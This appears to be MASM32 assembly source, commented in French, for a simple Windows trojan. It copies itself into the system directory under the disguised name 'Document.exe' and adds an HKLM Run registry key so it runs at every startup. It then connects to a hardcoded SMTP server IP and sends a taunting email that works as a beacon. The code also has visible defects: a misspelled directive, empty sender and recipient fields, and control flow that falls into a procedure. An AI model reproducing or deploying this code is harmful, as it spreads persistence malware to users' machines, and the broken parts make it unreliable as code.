;MASM32 .386 .model flat,stdcall option casemap:none include \masm32\include\advapi32.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\masm32.lib includelib \masm32\include\advapi32.lib Mys PROTO :DWORD .DATA szKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 szStringValue db "Document",0 RegistryText db "Document.exe",0 Slash db "\",0 ;les OFFSETS initialises de notre MessageBox ;Title_Box db "Document.exe",0 ;Msg_Box db "Document.exe",0 SMTP db "193.252.22.109",0 ;IP du srv smtp.infonie.be EHLO db "EHLO localhost.localdomain",13 ,10 ,0 MAIL_FROM db "MAIL FROM:",13 ,10 ,0 RCPT_TO db "RCPT TO:",13 ,10 ,0 DONNEES db "DATA",13 ,10 ,0 TEXTE db "yum install pas 2 skull !",13 ,10 ,13 ,10 ,0 FIN_DONNEES db ".",13 ,10 ,0 FERME db "QUIT",13 ,10 ,0 ;fini la connection ;smtp wsadata WSADATA <;> ;pour la structure du socket sin sockaddr_in <;> Port dd 25 ;port smtp .DATA? sock dd ? ;pour la structure du socket buf db 255 dup (?) ;buffer pour le MessageBox Disp DWORD ? System_Dir db 256 dup(?) Himself db 256 dup(?) pKey DWORD ? .CODE start: push SIZEOF szStringValue push OFFSET szStringValue push OFFSET szKeyName push OFFSET RegistryText call SetRegKeysz cmp eax,ERROR_SUCCESS ;nous sollicitons le repertoire Window System push SIZEOF System_Dir push OFFSET System_Dir call GetSystemDirectory push OFFSET Slash push OFFSET System_Dir call lstrcat push OFFSET RegistryText push OFFSET System_Dir call lstrcat push SIZEOFF Himself push OFFSET Himself push NULL call GetModuleFileName push FALSE push OFFSET System_Dir push OFFSET Himself call CopyFile push NULL SetRegKeysz PROC lpszString:DWORD, lpszKeyName:DWORD, lpszValueName:DWORD, dwStringLength:DWORD invoke WSAStartup,101h,addr wsadata ; ;initialise le socket invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP mov sock,eax mov sin.sin_family,AF_INET ;famille de socket invoke htons,Port ;port 25 mov sin.sin_port,ax invoke inet_addr, addr SMTP ;ip du smtp mov sin.sin_addr, eax invoke connect, sock, addr sin ,sizeof sin ;on se connecte invoke recv, sock, addr buf, sizeof buf, 0 ;et affiche la reponse ; HELO SERVER invoke Mys, addr EHLO ; invoke recv, sock, addr buf, sizeof buf, 0 ;invoke MessageBox,0,addr buf, addr HELO, MB_OK ; MAIL TO: invoke Mys, addr MAIL_FROM ;envoit MAIL FROM: invoke recv, sock, addr buf, sizeof buf, 0 ;invoke MessageBox,0,addr buf, addr MAIL_FROM, MB_OK ; RCPT TO: invoke Mys, addr RCPT_TO ;envoit RCPT TO: invoke recv, sock, addr buf, sizeof buf, 0 ;invoke MessageBox,0,addr buf, addr RCPT_TO, MB_OK ; DATA invoke Mys, addr DONNEES ;envoit DATA invoke recv, sock, addr buf, sizeof buf, 0 invoke MessageBox,0,addr buf, addr DONNEES, MB_OK invoke Mys, addr TEXTE ;envoit le text ; DATA invoke Mys, addr FIN_DONNEES ;envoit . invoke recv, sock, addr buf, sizeof buf, 0 ;invoke MessageBox,0,addr buf, addr FIN_DONNEES, MB_OK ; DATA invoke Mys, addr FERME ;envoit QUIT invoke recv, sock, addr buf, sizeof buf, 0 ;invoke MessageBox,0,addr buf, addr FERME, MB_OK invoke closesocket,sock ;ferme le socket et quit invoke WSACleanup invoke ExitProcess,eax push OFFSET Disp push OFFSET pKey push NULL push KEY_ALL_ACCESS push REG_OPTION_NON_VOLATILE push NULL push NULL push lpszKeyName push HKEY_LOCAL_MACHINE call RegCreateKeyEx cmp eax,ERROR_SUCCESS push dwStringLength push lpszString push REG_SZ push NULL push lpszValueName push pKey call RegSetValueEx push pKey call RegCloseKey ret SetRegKeysz ENDP ;--------------------------------------- Mys proc SendStr : DWORD push edi mov edi, SendStr .WHILE TRUE .BREAK .IF (byte ptr [edi] == 0 ) invoke send, sock, edi, 1, 0 inc edi .ENDW pop edi ret Mys endp END start